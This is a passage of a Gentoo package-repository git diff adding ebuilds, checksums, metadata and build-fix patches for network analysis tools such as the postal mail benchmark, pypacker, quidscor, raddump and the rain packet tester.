++AC_COMPILE_STDCXX_0X
++
++AC_SUBST(cstd)
++cstd=
++if test "$ac_cv_cxx_compile_cxx0x_cxx" = yes; then
++ cstd=-std=c++0x
++fi
++
+ AC_OUTPUT(Makefile postal.h port.h postal.spec sun/pkginfo)
++
+diff -NrU5 postal-0.69.orig/Makefile.in postal-0.69/Makefile.in
+--- postal-0.69.orig/Makefile.in 2008-04-23 22:39:01.000000000 +0200
++++ postal-0.69/Makefile.in 2008-04-24 00:29:40.000000000 +0200
+@@ -8,12 +8,12 @@
+ prefix=@prefix@
+ eprefix=@exec_prefix@
+ WFLAGS=-Wall -W -Wshadow -Wpointer-arith -Wcast-align -Wwrite-strings -Wcast-qual -pedantic
+ WPLUS=-Woverloaded-virtual -ffor-scope
+
+-CXX=@CXX@ $(CFLAGS) -O2 -g $(WFLAGS) $(WPLUS)
+-CC=@CC@ $(CFLAGS) -O2 -g $(WFLAGS)
++CXX=@CXX@ @cstd@ $(CFLAGS) $(WFLAGS) $(WPLUS)
++CC=@CC@ $(CFLAGS) $(WFLAGS)
+
+ INSTALL=@INSTALL@
+
+ TESTEXE=ex-test
+ BASEOBJS=userlist.o thread.o results.o address.o tcp.o cmd5.o mutex.o logit.o expand.o @extra_objs@
+diff -NrU5 postal-0.69.orig/postal.cpp postal-0.69/postal.cpp
+--- postal-0.69.orig/postal.cpp 2007-01-14 05:40:23.000000000 +0100
++++ postal-0.69/postal.cpp 2008-04-24 01:30:49.000000000 +0200
+@@ -6,10 +6,11 @@
+ #include "smtp.h"
+ #include <unistd.h>
+ #include <sys/wait.h>
+ #include <signal.h>
+ #include <stdio.h>
++#include <cstdlib>
+ #include "postal.h"
+ #include "logit.h"
+ #ifdef USE_GNUTLS
+ #include <errno.h>
+ #include <gcrypt.h>
+diff -NrU5 postal-0.69.orig/smtp.cpp postal-0.69/smtp.cpp
+--- postal-0.69.orig/smtp.cpp 2008-04-19 00:01:39.000000000 +0200
++++ postal-0.69/smtp.cpp 2008-04-24 00:14:49.000000000 +0200
+@@ -7,10 +7,11 @@
+ #include <time.h>
+ #include "userlist.h"
+ #include "logit.h"
+ #include "results.h"
+ #include <cstring>
++#include <cstdlib>
+
+ smtpData::smtpData()
+ : m_quit("QUIT\r\n")
+ , m_randomLetters("abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 `~!@#$%^&*()-_=+[]{};:'\"|/?<>,")
+ , m_randomLen(strlen(m_randomLetters))
+diff -NrU5 postal-0.69.orig/smtp.h postal-0.69/smtp.h
+--- postal-0.69.orig/smtp.h 2008-04-19 00:01:23.000000000 +0200
++++ postal-0.69/smtp.h 2008-04-24 00:18:03.000000000 +0200
+@@ -4,16 +4,20 @@
+ using namespace std;
+ #include <string>
+ #include <cstring>
+ #include <time.h>
+ #include "conf.h"
++#ifdef HAVE_STDCXX_0X
++#include <unordered_map>
++#else
+ #ifdef HAVE_EXT_HASH_MAP
+ using namespace __gnu_cxx;
+ #include <ext/hash_map>
+ #else
+ #include <hash_map.h>
+ #endif
++#endif
+ #include "tcp.h"
+ #include "mutex.h"
+
+ class results;
+
+@@ -28,11 +32,15 @@
+ {
+ return (l1 == l2);
+ }
+ };
+
++#ifdef HAVE_STDCXX_0X
++typedef unordered_map<unsigned long, string *, hash<unsigned long>, eqlng> NAME_MAP;
++#else
+ typedef hash_map<unsigned long, string *, hash<unsigned long>, eqlng> NAME_MAP;
++#endif
+
+ class smtpData
+ {
+ public:
+ smtpData();
diff --git a/net-analyzer/postal/files/04_postal-0.70-warnings.patch b/net-analyzer/postal/files/04_postal-0.70-warnings.patch
new file mode 100644
index 000000000000..066cf972cdf7
--- /dev/null
+++ b/net-analyzer/postal/files/04_postal-0.70-warnings.patch
@@ -0,0 +1,17 @@
+diff -NrU5 postal-0.69.orig/bhm.cpp postal-0.69/bhm.cpp
+--- postal-0.69.orig/bhm.cpp 2008-04-23 01:47:25.000000000 +0200
++++ postal-0.69/bhm.cpp 2008-04-23 02:10:17.000000000 +0200
+@@ -67,11 +67,11 @@
+ Logit *debug;
+ } thread_data;
+
+ enum { eFree = 0, eUsed, eFinished };
+
+-int check_sender(CPCCHAR addr)
++int check_sender(CPCCHAR)
+ {
+ return 0;
+ }
+
+ int readCommand(base_tcp &t, char *buf, int bufSize, bool stripCR, int timeout = 60);
+
diff --git a/net-analyzer/postal/files/05_postal-0.70-openssl-1.patch b/net-analyzer/postal/files/05_postal-0.70-openssl-1.patch
new file mode 100644
index 000000000000..5b5c054ac98c
--- /dev/null
+++ b/net-analyzer/postal/files/05_postal-0.70-openssl-1.patch
@@ -0,0 +1,30 @@
+http://bugs.gentoo.org/327937
+
+--- basictcp.h
++++ basictcp.h
+@@ -89,7 +89,11 @@
+
+ #ifdef USE_SSL
+ #ifdef USE_OPENSSL
++ #if OPENSSL_VERSION_NUMBER >= 0x10000000L
++ const SSL_METHOD *m_sslMeth;
++ #else
+ SSL_METHOD *m_sslMeth;
++ #endif
+ SSL_CTX* m_sslCtx;
+ SSL *m_ssl;
+ #else
+--- tcp.h
++++ tcp.h
+@@ -100,7 +100,11 @@
+
+ #ifdef USE_SSL
+ #ifdef USE_OPENSSL
++ #if OPENSSL_VERSION_NUMBER >= 0x10000000L
++ const SSL_METHOD *m_sslMeth;
++ #else
+ SSL_METHOD *m_sslMeth;
++ #endif
+ SSL_CTX* m_sslCtx;
+ SSL *m_ssl;
+ #else
diff --git a/net-analyzer/postal/files/06_postal-0.70-ldflags.patch b/net-analyzer/postal/files/06_postal-0.70-ldflags.patch
new file mode 100644
index 000000000000..7bfb92de7f0d
--- /dev/null
+++ b/net-analyzer/postal/files/06_postal-0.70-ldflags.patch
@@ -0,0 +1,27 @@
+--- Makefile.in~ 2011-06-08 11:38:59.123333174 +0300
++++ Makefile.in 2011-06-08 11:46:02.000000000 +0300
+@@ -24,19 +24,19 @@
+ ALLOBJS=$(BASEOBJS) smtp.o client.o basictcp.o bhmusers.o smtpserver.o
+
+ postal: postal.cpp $(BASEOBJS) postal.h smtp.o
+- $(CXX) postal.cpp $(BASEOBJS) smtp.o -o postal $(CRYPTLFLAGS)
++ $(CXX) $(LDFLAGS) postal.cpp $(BASEOBJS) smtp.o -o postal $(CRYPTLFLAGS)
+
+ rabid: rabid.cpp $(BASEOBJS) postal.h client.o
+- $(CXX) rabid.cpp $(BASEOBJS) client.o -o rabid $(CRYPTLFLAGS)
++ $(CXX) $(LDFLAGS) rabid.cpp $(BASEOBJS) client.o -o rabid $(CRYPTLFLAGS)
+
+ bhm: bhm.cpp userlist.o basictcp.o logit.o results.o mutex.o bhmusers.o postal.h
+- $(CXX) bhm.cpp userlist.o basictcp.o logit.o results.o mutex.o bhmusers.o -o bhm $(CRYPTLFLAGS)
++ $(CXX) $(LDFLAGS) bhm.cpp userlist.o basictcp.o logit.o results.o mutex.o bhmusers.o -o bhm $(CRYPTLFLAGS)
+
+ ex-test: ex-test.cpp expand.o
+- $(CXX) ex-test.cpp expand.o -o ex-test $(LFLAGS)
++ $(CXX) $(LDFLAGS) ex-test.cpp expand.o -o ex-test $(LFLAGS)
+
+ postal-list: postal-list.cpp expand.o
+- $(CXX) postal-list.cpp expand.o -o postal-list $(LFLAGS)
++ $(CXX) $(LDFLAGS) postal-list.cpp expand.o -o postal-list $(LFLAGS)
+
+ install-bin: $(EXE) $(SEXE)
+ mkdir -p $(DESTDIR)$(eprefix)/sbin $(DESTDIR)$(eprefix)/bin
diff --git a/net-analyzer/postal/metadata.xml b/net-analyzer/postal/metadata.xml
new file mode 100644
index 000000000000..940fde8f70ce
--- /dev/null
+++ b/net-analyzer/postal/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>net-mail</herd>
+</pkgmetadata>
diff --git a/net-analyzer/postal/postal-0.72.ebuild b/net-analyzer/postal/postal-0.72.ebuild
new file mode 100644
index 000000000000..7d827c21f93e
--- /dev/null
+++ b/net-analyzer/postal/postal-0.72.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+inherit autotools eutils
+
+DESCRIPTION="SMTP and POP mailserver benchmark. Supports SSL, randomized user accounts and more"
+HOMEPAGE="http://www.coker.com.au/postal/"
+SRC_URI="http://www.coker.com.au/postal/${P}.tgz"
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~ppc ~sparc ~x86"
+IUSE="ssl gnutls"
+#ssl is an alias for openssl. If both ssl and gnutls are enabled, automagic will
+#enable only gnutls.
+DEPEND="ssl? (
+ !gnutls? ( >=dev-libs/openssl-0.9.8g )
+ gnutls? ( >=net-libs/gnutls-2.2.2 )
+ )"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}/01_${PN}-0.70-gcc43.patch"
+ epatch "${FILESDIR}/02_${PN}-0.72-nossl.patch"
+ epatch "${FILESDIR}/03_${PN}-0.70-c++0x-integrated.patch"
+ epatch "${FILESDIR}/04_${PN}-0.70-warnings.patch"
+ epatch "${FILESDIR}/05_${PN}-0.70-openssl-1.patch"
+ epatch "${FILESDIR}/06_${PN}-0.70-ldflags.patch"
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ --disable-stripping \
+ $(use_enable ssl openssl) \
+ $(use_enable gnutls)
+}
diff --git a/net-analyzer/prelude-nessus/Manifest b/net-analyzer/prelude-nessus/Manifest
new file mode 100644
index 000000000000..7337a017301b
--- /dev/null
+++ b/net-analyzer/prelude-nessus/Manifest
@@ -0,0 +1 @@
+DIST prelude-correlation-20021107.tar.bz2 7613 SHA256 787af4be88992e387423709c393a56f08598571fc10802d57d49f22629d90294 SHA512 2dcc1d038d9385bef8082476fccce768a47f04eac7c687d684739cd837b9e02f4514bb6296ad98ecc17d0208ec7c39d7401de5abd212ef403b349a76faa0ee79 WHIRLPOOL 4214ec57d43357579cdd6d26f904f8795f96e67628fee7198e0e644715364d850ab430f38204b9c0aa894b99f42687c991606089d6316cac96257b9b82856f60
diff --git a/net-analyzer/prelude-nessus/metadata.xml b/net-analyzer/prelude-nessus/metadata.xml
new file mode 100644
index 000000000000..ff62877c67ae
--- /dev/null
+++ b/net-analyzer/prelude-nessus/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/prelude-nessus/prelude-nessus-20021107.ebuild b/net-analyzer/prelude-nessus/prelude-nessus-20021107.ebuild
new file mode 100644
index 000000000000..ecef3f441790
--- /dev/null
+++ b/net-analyzer/prelude-nessus/prelude-nessus-20021107.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+DESCRIPTION="Nessus Correlation support for Prelude-IDS"
+HOMEPAGE="http://www.rstack.org/oudot/prelude/correlation/"
+
+MY_P="${P/nessus/correlation}"
+
+SRC_URI="mirror://gentoo/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+IUSE=""
+
+DEPEND="dev-lang/perl"
+
+S=${WORKDIR}/${MY_P}
+
+src_install() {
+ dobin *.pl
+ dodoc CORRELATION_README EXAMPLES NEWS vuln.conf_example
+}
diff --git a/net-analyzer/pypacker/Manifest b/net-analyzer/pypacker/Manifest
new file mode 100644
index 000000000000..90e8b418bc80
--- /dev/null
+++ b/net-analyzer/pypacker/Manifest
@@ -0,0 +1,2 @@
+DIST pypacker-2.4.tar.gz 239409 SHA256 c6369350a5a3a083f2b660a3b2f64573e94ea6032fea17f1a37d6590289ac097 SHA512 aaafea17b8c2ecd59682ece430720dc5cd4c1d08d2d839adb8530e848f3e677de9f4a06138cf612b58f76e182b4524491d5e6685c90696071fe125d3340958cf WHIRLPOOL ddc4bd60087fd5a63a597ca016efd5cb8c891f174ec6316c913f7610a99262d14b93aa37d6701411c23e56ec924801d53ebc7c67ab9caed18a715311a11259a5
+DIST pypacker-2.9.tar.gz 276080 SHA256 8eff9e7002b2fdf3bee9d3b7b7a44fedb9a88a7f53666fb1e2a6c0e4ab4c450c SHA512 b7ca61948a55a37661fa402ebc5a9c2be456e8df14d1ee091a50ccd1362c7a7fa9224e1ae2b8ee8057f302ee9e0c61c06d07b627dde92947f8d22158ef3623b8 WHIRLPOOL b7eace8e170f4997cccd1b0ca7c817ad9bdcb232b3fc854e890e22735e1995a81363902ab285f94edc9c725dcba54db3c917bfddfb96ebd8e464bf4d4dc631b8
diff --git a/net-analyzer/pypacker/metadata.xml b/net-analyzer/pypacker/metadata.xml
new file mode 100644
index 000000000000..5c2b33cc7476
--- /dev/null
+++ b/net-analyzer/pypacker/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="github">mike01/pypacker</remote-id>
+ <maintainer>
+ <email>michael.stahn.42@googlemail.com</email>
+ <name>Michael Stahn</name>
+ </maintainer>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/pypacker/pypacker-2.4.ebuild b/net-analyzer/pypacker/pypacker-2.4.ebuild
new file mode 100644
index 000000000000..8e652f6985e4
--- /dev/null
+++ b/net-analyzer/pypacker/pypacker-2.4.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python3_3 )
+
+inherit distutils-r1 vcs-snapshot
+
+DESCRIPTION="Fast and simple packet creation and parsing library for Python"
+HOMEPAGE="https://github.com/mike01/pypacker"
+SRC_URI="https://github.com/mike01/${PN}/archive/${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="examples"
+
+DEPEND="dev-python/setuptools[${PYTHON_USEDEP}]"
+
+DOCS=( AUTHORS CHANGES HACKING README.md )
+
+python_test() {
+ "${PYTHON}" tests/test_pypacker.py || die
+}
+
+python_install_all() {
+ distutils-r1_python_install_all
+ use examples && dodoc -r examples
+}
diff --git a/net-analyzer/pypacker/pypacker-2.9.ebuild b/net-analyzer/pypacker/pypacker-2.9.ebuild
new file mode 100644
index 000000000000..52b90b5127e5
--- /dev/null
+++ b/net-analyzer/pypacker/pypacker-2.9.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python3_{3,4} )
+
+inherit distutils-r1 vcs-snapshot
+
+DESCRIPTION="Fast and simple packet creation and parsing library for Python"
+HOMEPAGE="https://github.com/mike01/pypacker"
+SRC_URI="https://github.com/mike01/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="examples"
+
+DEPEND="dev-python/setuptools[${PYTHON_USEDEP}]"
+
+DOCS=( AUTHORS CHANGES HACKING README.md )
+
+python_test() {
+ "${PYTHON}" tests/test_pypacker.py || die
+}
+
+python_install_all() {
+ distutils-r1_python_install_all
+ use examples && dodoc -r examples
+}
diff --git a/net-analyzer/quidscor/Manifest b/net-analyzer/quidscor/Manifest
new file mode 100644
index 000000000000..34c05f874d3a
--- /dev/null
+++ b/net-analyzer/quidscor/Manifest
@@ -0,0 +1 @@
+DIST quidscor-1.2.48-src.tar.gz 77843 SHA256 619451c1501a2eeac3fbad14a3b7d21942a51368431f4c3c620ddf1f4c1faa2f SHA512 8272a1a4ed406d3429f0438dabddd15092be0a33a8fce3c5b0af0ae13422c8918f1a5971b2c2ea639fb87ffdeb1bc89085f07f89856e732f0b270b57eabb7010 WHIRLPOOL eb74036b5fde1981c04c0994d3e70c274d4c03f6bd16fd5c6d2528d0c181b10e9f92b1dc994e9e23d3e6a80df18130f4c9649b327d3e9f532060a446645871f6
diff --git a/net-analyzer/quidscor/files/quidscor-1.2.48-curl-types.h.patch b/net-analyzer/quidscor/files/quidscor-1.2.48-curl-types.h.patch
new file mode 100644
index 000000000000..5f1e035c81d6
--- /dev/null
+++ b/net-analyzer/quidscor/files/quidscor-1.2.48-curl-types.h.patch
@@ -0,0 +1,10 @@
+--- a/libqg/libqg.h
++++ b/libqg/libqg.h
+@@ -38,7 +38,6 @@
+ #include <arpa/inet.h>
+ #include <dirent.h>
+ #include <curl/curl.h>
+-#include <curl/types.h>
+ #include <string.h>
+ #include <strings.h>
+ #include <libxml/xmlmemory.h>
diff --git a/net-analyzer/quidscor/files/quidscor-1.2.48-paths.patch b/net-analyzer/quidscor/files/quidscor-1.2.48-paths.patch
new file mode 100644
index 000000000000..6168720cbdf4
--- /dev/null
+++ b/net-analyzer/quidscor/files/quidscor-1.2.48-paths.patch
@@ -0,0 +1,37 @@
+--- a/quidscor.conf
++++ b/quidscor.conf
+@@ -15,9 +15,9 @@
+ # Logdir: directory
+ LOGDIR /var/log/quidscor/
+ # Cachedir: directory
+-CACHEDIR /var/run/quidscor/cache/
++CACHEDIR /var/lib/quidscor
+ # Rulesdir: directory where .rules (for snort) live (.lib for dragon)
+-RULESDIR /usr/local/etc/snort-rules
++RULESDIR /etc/snort/rules
+ # Expiretime: time_in_seconds
+ EXPIRETIME 86400
+ # File for custom mapping (must be absolute path)
+--- a/quidscor.h
++++ b/quidscor.h
+@@ -85,7 +85,7 @@
+ #define AL_UNVER "alerts_unknown.log"
+
+ // Directories
+-#define CACHE_DIR "run/quidscor/cache/"
++#define CACHE_DIR "/lib/quidscor"
+ #define LOG_DIR "log/quidscor/"
+ #define CREATE_MOD 0700
+ #define MOD_PID 0640
+--- a/Makefile
++++ b/Makefile
+@@ -84,8 +84,7 @@
+
+ install:
+ install -d -m 0700 $(IVARPREFIX)/log/$(PNAME)/
+- install -d -m 0700 $(IVARPREFIX)/run/$(PNAME)/
+- install -d -m 0700 $(IVARPREFIX)/run/$(PNAME)/cache/
++ install -d -m 0700 $(IVARPREFIX)/lib/$(PNAME)/
+ install -d -m 0755 $(IPREFIX)/sbin/
+ install -m 0755 $(PNAME) $(IPREFIX)/sbin/$(PNAME)
+ install -d -m 0755 $(IPREFIX)/etc/
diff --git a/net-analyzer/quidscor/files/quidscor-1.2.48-strip.patch b/net-analyzer/quidscor/files/quidscor-1.2.48-strip.patch
new file mode 100644
index 000000000000..9d169e619c0b
--- /dev/null
+++ b/net-analyzer/quidscor/files/quidscor-1.2.48-strip.patch
@@ -0,0 +1,10 @@
+--- a/Makefile
++++ b/Makefile
+@@ -69,7 +69,6 @@
+
+ $(PNAME): $(PNAME).debug
+ $(CP) $(PNAME).debug $@
+- $(STRIP) $@
+
+ $(PNAME).debug: libqg/libqg.a $(OFILES) Makefile
+ $(CC) $(LDFLAGS) $(CFLAGS) -o $@ $(OFILES) $(LIBS)
diff --git a/net-analyzer/quidscor/metadata.xml b/net-analyzer/quidscor/metadata.xml
new file mode 100644
index 000000000000..8452310f8b70
--- /dev/null
+++ b/net-analyzer/quidscor/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">quidscor</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/quidscor/quidscor-1.2.48-r1.ebuild b/net-analyzer/quidscor/quidscor-1.2.48-r1.ebuild
new file mode 100644
index 000000000000..42d421b2ec14
--- /dev/null
+++ b/net-analyzer/quidscor/quidscor-1.2.48-r1.ebuild
@@ -0,0 +1,45 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="Qualys IDS Correlation Daemon"
+HOMEPAGE="http://quidscor.sourceforge.net/"
+SRC_URI="mirror://sourceforge/quidscor/${P}-src.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~ppc ~x86"
+
+DEPEND="
+ >=dev-libs/libxml2-2.4
+ >=net-misc/curl-7.10
+ >=net-analyzer/snort-2.0
+"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-curl-types.h.patch \
+ "${FILESDIR}"/${P}-paths.patch \
+ "${FILESDIR}"/${P}-strip.patch
+
+ #yes, the fix below is as pathetic as it seems
+ echo "#define FALSE 0" >> libqg/libqg.h || die
+ echo "#define TRUE 1" >> libqg/libqg.h || die
+}
+
+src_compile() {
+ emake EXTRA_CFLAGS="${CFLAGS}" CC="$(tc-getCC)"
+}
+
+src_install() {
+ emake PREFIX=/usr STAGING_PREFIX="${D}" install
+ dodoc ChangeLog FAQ MANIFEST README TODO
+ # fix ugly install
+ cd "${D}"/usr || die
+ mv etc .. || die
+ rm -r doc || die
+}
diff --git a/net-analyzer/raddump/Manifest b/net-analyzer/raddump/Manifest
new file mode 100644
index 000000000000..e5b1f8f54c18
--- /dev/null
+++ b/net-analyzer/raddump/Manifest
@@ -0,0 +1 @@
+DIST raddump-0.3.1.tar.gz 175078 SHA256 f2d5c80164a5064d25e112f3ead9952d86200b022da584bddbc4afea948cb970
diff --git a/net-analyzer/raddump/metadata.xml b/net-analyzer/raddump/metadata.xml
new file mode 100644
index 000000000000..ab48ab746cd5
--- /dev/null
+++ b/net-analyzer/raddump/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>robbat2@gentoo.org</email>
+ </maintainer>
+ <upstream>
+ <remote-id type="sourceforge">raddump</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/raddump/raddump-0.3.1.ebuild b/net-analyzer/raddump/raddump-0.3.1.ebuild
new file mode 100644
index 000000000000..3d73ae53128f
--- /dev/null
+++ b/net-analyzer/raddump/raddump-0.3.1.ebuild
@@ -0,0 +1,25 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit autotools
+
+DESCRIPTION="RADIUS packet interpreter"
+HOMEPAGE="http://sourceforge.net/projects/raddump/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+IUSE=""
+DEPEND=">=net-analyzer/tcpdump-3.8.3-r1"
+
+src_unpack() {
+ unpack ${A}
+ cd ${S}
+ eautoreconf
+}
+
+src_install() {
+ emake DESTDIR="${D}" install || die
+ dodoc AUTHORS README TODO ChangeLog CREDITS
+}
diff --git a/net-analyzer/rain/Manifest b/net-analyzer/rain/Manifest
new file mode 100644
index 000000000000..77b14189b9ee
--- /dev/null
+++ b/net-analyzer/rain/Manifest
@@ -0,0 +1,2 @@
+DIST rain_1.2.9beta1-1.diff.gz 1828 SHA256 803f331835af83e0e47b7d4e5e07c2ea25b75de0ab274565bb4582b549774648 SHA512 5e871fddbf475d8e73c88a3f7340199cdfae8f54446aced599be7658e0be2c6b7a7ef2626cd13dff577df5c81187fa07bc8ec3a7ab386752e4be321d9a372843 WHIRLPOOL 64ca4e5edc1c49cb00ffa5c58c7dc132f85268400ab69e8448a0d45ebfb4a56d8081ea7d109f5e921c0c1b56d3eb658cd8805aa0952798ae8e6ac426cf4191f6
+DIST rain_1.2.9beta1.orig.tar.gz 79098 SHA256 1c2d21c5187a9511da257c946f65ce1b4e962d2822970b2a3db85b73daf1bb45 SHA512 5e61ac26872e453c6da9e600e3fb427425d2f79a7a5f569ab93308c0b0f4509b6a0d5b45b138f04b9f8bee7b16b8b63be28b7ede65a92f5d4a3384e73e12036d WHIRLPOOL e0b4996c321d3842ae058dbb15959b46ce490b72860bd568a58d126f60d813c6ea943b5b7eb208973f698c89eab632e3d859f64dc4978a8f08c83ed5fef1f11f
diff --git a/net-analyzer/rain/files/rain-1.2.9_beta1-gentoo.patch b/net-analyzer/rain/files/rain-1.2.9_beta1-gentoo.patch
new file mode 100644
index 000000000000..01666a0bfab2
--- /dev/null
+++ b/net-analyzer/rain/files/rain-1.2.9_beta1-gentoo.patch
@@ -0,0 +1,27 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -6,12 +6,12 @@
+ RAIN_PLATFORM=@host@
+ RAIN_VERSION="1.2.9beta1"
+ RAIN_URL=http://www.tenebrous.com/rain/
+-CFLAGS= -g -Wall $(LIBS) -I./include -DHAVE_CONFIG_H -D_GNU_SOURCE -DRAIN_PLATFORM=\"$(RAIN_PLATFORM)\" -DRAIN_VERSION=\"$(RAIN_VERSION)\" -DRAIN_URL=\"$(RAIN_URL)\"
++CFLAGS= @CFLAGS@ -Wall $(LIBS) -I./include -DHAVE_CONFIG_H -D_GNU_SOURCE -DRAIN_PLATFORM=\"$(RAIN_PLATFORM)\" -DRAIN_VERSION=\"$(RAIN_VERSION)\" -DRAIN_URL=\"$(RAIN_URL)\"
+ INSTALLER=@INSTALL@
+ MAKE=@SET_MAKE@
+-MANDIR=/usr/local/man
++MANDIR=/usr/share/man
+ MAN1DIR=$(MANDIR)/man1
+-SBINDIR=/sbin
++SBINDIR=/usr/sbin
+
+ all:
+ @echo Making all
+@@ -30,7 +30,7 @@
+ -$(CC) $(CFLAGS) -c source/rain_udp.c
+ -$(CC) $(CFLAGS) -c source/rain_main.c
+
+- -$(CC) -o rain rain_command_line.o rain_defaults.o rain_die.o rain_icmp.o rain_igmp.o rain_inet_common.o rain_main.o rain_mem.o rain_resolv.o rain_services.o rain_signal.o rain_string.o rain_tcp.o rain_udp.o
++ -$(CC) $(CFLAGS) $(LDFLAGS) -o rain rain_command_line.o rain_defaults.o rain_die.o rain_icmp.o rain_igmp.o rain_inet_common.o rain_main.o rain_mem.o rain_resolv.o rain_services.o rain_signal.o rain_string.o rain_tcp.o rain_udp.o
+
+ @echo done.
+
diff --git a/net-analyzer/rain/metadata.xml b/net-analyzer/rain/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/rain/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/rain/rain-1.2.9_beta1.ebuild b/net-analyzer/rain/rain-1.2.9_beta1.ebuild
new file mode 100644
index 000000000000..258a69c15330
--- /dev/null
+++ b/net-analyzer/rain/rain-1.2.9_beta1.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+MY_P=${P/_/}
+MY_P=${MY_P/-/_}
+DESCRIPTION="powerful tool for testing stability of hardware and software utilizing IP protocols"
+HOMEPAGE="http://www.mirrors.wiretapped.net/security/packet-construction/rain/"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~sparc x86"
+SRC_URI="
+ mirror://ubuntu/pool/universe/r/${PN}/${MY_P}.orig.tar.gz
+ mirror://ubuntu/pool/universe/r/${PN}/${MY_P}-1.diff.gz
+"
+
+S="${WORKDIR}/${MY_P/_/-}"
+
+src_prepare() {
+ epatch "${WORKDIR}"/${MY_P}-1.diff
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+
+ eautoreconf
+}
+
+DOCS=( BUGS CHANGES README TODO )
diff --git a/net-analyzer/rrdcollect/Manifest b/net-analyzer/rrdcollect/Manifest
new file mode 100644
index 000000000000..9f86921450bf
--- /dev/null
+++ b/net-analyzer/rrdcollect/Manifest
@@ -0,0 +1 @@
+DIST rrdcollect-0.2.9.tar.gz 137397 SHA256 df738369c4f7c642e85ee1e0314c29cca19534c4d53074295b25c3b309ea1a50 SHA512 5f01b93a469d32f095b501c3611d4e31d354025848aeffd913db9625d0186a3e7d394dae1a2383449836c37e758a39a3473710a1855411288659fa6ac249e10f WHIRLPOOL 746ad907ab98db872e498695f56cf0579141726eebe505f2fbeda78a9c46bb41b6d2b59ca2a9f21efa1e1903cc31bbdb7a6c56ac17f3a2ab25a164464a5d41fa
diff --git a/net-analyzer/rrdcollect/files/rrdcollect-0.2.9-include.patch b/net-analyzer/rrdcollect/files/rrdcollect-0.2.9-include.patch
new file mode 100644
index 000000000000..69827b28358f
--- /dev/null
+++ b/net-analyzer/rrdcollect/files/rrdcollect-0.2.9-include.patch
@@ -0,0 +1,10 @@
+--- a/src/checkpid.c
++++ b/src/checkpid.c
+@@ -20,6 +20,7 @@
+
+ #include "rrdcollect.h"
+ #include <fcntl.h>
++#include <sys/file.h> /* flock() */
+
+ /* lockfile in rrdcollect.pid */
+ /* five digits+"\n\0" */
diff --git a/net-analyzer/rrdcollect/metadata.xml b/net-analyzer/rrdcollect/metadata.xml
new file mode 100644
index 000000000000..477804ead86d
